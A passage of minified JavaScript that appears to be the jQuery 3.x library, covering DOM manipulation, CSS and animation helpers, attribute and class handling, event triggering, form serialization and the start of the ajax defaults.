b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[V.expando]=void 0}c[W.expando]&&(c[W.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return S(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(la(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return S(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!ya.test(a)&&!ka[(ia.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(la(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(la(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var Ja=/^margin/,Ka=new RegExp("^("+$+")(?!px)[a-z%]+$","i"),La=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",pa.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,pa.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Ma(a,b,c){var d,e,f,g,h=a.style;return c=c||La(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&Ka.test(g)&&Ja.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Na(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Oa=/^(none|table(?!-c[ea]).+)/,Pa={position:"absolute",visibility:"hidden",display:"block"},Qa={letterSpacing:"0",fontWeight:"400"},Ra=["Webkit","Moz","ms"],Sa=d.createElement("div").style;function Ta(a){if(a in Sa)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ra.length;while(c--)if(a=Ra[c]+b,a in Sa)return a}function Ua(a,b,c){var d=_.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Va(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+aa[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+aa[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+aa[f]+"Width",!0,e))):(g+=r.css(a,"padding"+aa[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+aa[f]+"Width",!0,e)));return g}function Wa(a,b,c){var d,e=!0,f=La(a),g="border-box"===r.css(a,"boxSizing",!1,f);if(a.getClientRects().length&&(d=a.getBoundingClientRect()[b]),d<=0||null==d){if(d=Ma(a,b,f),(d<0||null==d)&&(d=a.style[b]),Ka.test(d))return d;e=g&&(o.boxSizingReliable()||d===a.style[b]),d=parseFloat(d)||0}return d+Va(a,b,c||(g?"border":"content"),e,f)+"px"}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Ma(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=a.style;return b=r.cssProps[h]||(r.cssProps[h]=Ta(h)||h),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b]:(f=typeof c,"string"===f&&(e=_.exec(c))&&e[1]&&(c=da(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b);return b=r.cssProps[h]||(r.cssProps[h]=Ta(h)||h),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Ma(a,b,d)),"normal"===e&&b in Qa&&(e=Qa[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Oa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?Wa(a,b,d):ca(a,Pa,function(){return Wa(a,b,d)})},set:function(a,c,d){var e,f=d&&La(a),g=d&&Va(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=_.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Ua(a,c,g)}}}),r.cssHooks.marginLeft=Na(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Ma(a,"marginLeft"))||a.getBoundingClientRect().left-ca(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+aa[d]+b]=f[d]||f[d-2]||f[0];return e}},Ja.test(a)||(r.cssHooks[a+b].set=Ua)}),r.fn.extend({css:function(a,b){return S(this,function(a,b,c){var d,e,f={},g=0;if(r.isArray(b)){for(d=La(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function Xa(a,b,c,d,e){return new Xa.prototype.init(a,b,c,d,e)}r.Tween=Xa,Xa.prototype={constructor:Xa,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=Xa.propHooks[this.prop];return a&&a.get?a.get(this):Xa.propHooks._default.get(this)},run:function(a){var b,c=Xa.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Xa.propHooks._default.set(this),this}},Xa.prototype.init.prototype=Xa.prototype,Xa.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},Xa.propHooks.scrollTop=Xa.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=Xa.prototype.init,r.fx.step={};var Ya,Za,$a=/^(?:toggle|show|hide)$/,_a=/queueHooks$/;function ab(){Za&&(a.requestAnimationFrame(ab),r.fx.tick())}function bb(){return a.setTimeout(function(){Ya=void 0}),Ya=r.now()}function cb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=aa[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function db(a,b,c){for(var d,e=(gb.tweeners[b]||[]).concat(gb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function eb(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&ba(a),q=V.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],$a.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=V.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ga([a],!0),j=a.style.display||j,k=r.css(a,"display"),ga([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=V.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ga([a],!0),m.done(function(){p||ga([a]),V.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=db(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function fb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],r.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function gb(a,b,c){var d,e,f=0,g=gb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=Ya||bb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:Ya||bb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(fb(k,j.opts.specialEasing);f<g;f++)if(d=gb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,db,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}r.Animation=r.extend(gb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return da(c.elem,a,_.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(K);for(var c,d=0,e=a.length;d<e;d++)c=a[d],gb.tweeners[c]=gb.tweeners[c]||[],gb.tweeners[c].unshift(b)},prefilters:[eb],prefilter:function(a,b){b?gb.prefilters.unshift(a):gb.prefilters.push(a)}}),r.speed=function(a,b,c){var e=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off||d.hidden?e.duration=0:e.duration="number"==typeof e.duration?e.duration:e.duration in r.fx.speeds?r.fx.speeds[e.duration]:r.fx.speeds._default,null!=e.queue&&e.queue!==!0||(e.queue="fx"),e.old=e.complete,e.complete=function(){r.isFunction(e.old)&&e.old.call(this),e.queue&&r.dequeue(this,e.queue)},e},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(ba).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=gb(this,r.extend({},a),f);(e||V.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=V.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&_a.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=V.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(cb(b,!0),a,d,e)}}),r.each({slideDown:cb("show"),slideUp:cb("hide"),slideToggle:cb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(Ya=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),Ya=void 0},r.fx.timer=function(a){r.timers.push(a),a()?r.fx.start():r.timers.pop()},r.fx.interval=13,r.fx.start=function(){Za||(Za=a.requestAnimationFrame?a.requestAnimationFrame(ab):a.setInterval(r.fx.tick,r.fx.interval))},r.fx.stop=function(){a.cancelAnimationFrame?a.cancelAnimationFrame(Za):a.clearInterval(Za),Za=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var hb,ib=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return S(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?hb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&r.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(K);
++if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),hb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=ib[b]||r.find.attr;ib[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=ib[g],ib[g]=e,e=null!=c(a,b,d)?g:null,ib[g]=f),e}});var jb=/^(?:input|select|textarea|button)$/i,kb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return S(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):jb.test(a.nodeName)||kb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});var lb=/[\t\r\n\f]/g;function mb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,mb(this)))});if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,mb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,mb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(K)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=mb(this),b&&V.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":V.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+mb(c)+" ").replace(lb," ").indexOf(b)>-1)return!0;return!1}});var nb=/\r/g,ob=/[\x20\t\r\n\f]+/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":r.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(nb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:r.trim(r.text(a)).replace(ob," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type,g=f?null:[],h=f?e+1:d.length,i=e<0?h:f?e:0;i<h;i++)if(c=d[i],(c.selected||i===e)&&!c.disabled&&(!c.parentNode.disabled||!r.nodeName(c.parentNode,"optgroup"))){if(b=r(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(r.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var pb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!pb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,pb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(V.get(h,"events")||{})[b.type]&&V.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&T(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!T(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=V.access(d,b);e||d.addEventListener(a,c,!0),V.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=V.access(d,b)-1;e?V.access(d,b,e):(d.removeEventListener(a,c,!0),V.remove(d,b))}}});var qb=a.location,rb=r.now(),sb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var tb=/\[\]$/,ub=/\r?\n/g,vb=/^(?:submit|button|image|reset|file)$/i,wb=/^(?:input|select|textarea|keygen)/i;function xb(a,b,c,d){var e;if(r.isArray(b))r.each(b,function(b,e){c||tb.test(a)?d(a,e):xb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)xb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(r.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)xb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&wb.test(this.nodeName)&&!vb.test(a)&&(this.checked||!ha.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:r.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ub,"\r\n")}}):{name:b.name,value:c.replace(ub,"\r\n")}}).get()}});var yb=/%20/g,zb=/#.*$/,Ab=/([?&])_=[^&]*/,Bb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Cb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Db=/^(?:GET|HEAD)$/,Eb=/^\/\//,Fb={},Gb={},Hb="*/".concat("*"),Ib=d.createElement("a");Ib.href=qb.href;function Jb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(K)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Kb(a,b,c,d){var e={},f=a===Gb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Lb(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Mb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Nb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:qb.href,type:"GET",isLocal:Cb.test(qb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Hb,text:"text/plain",html:"text/html",xml:"application/xml, 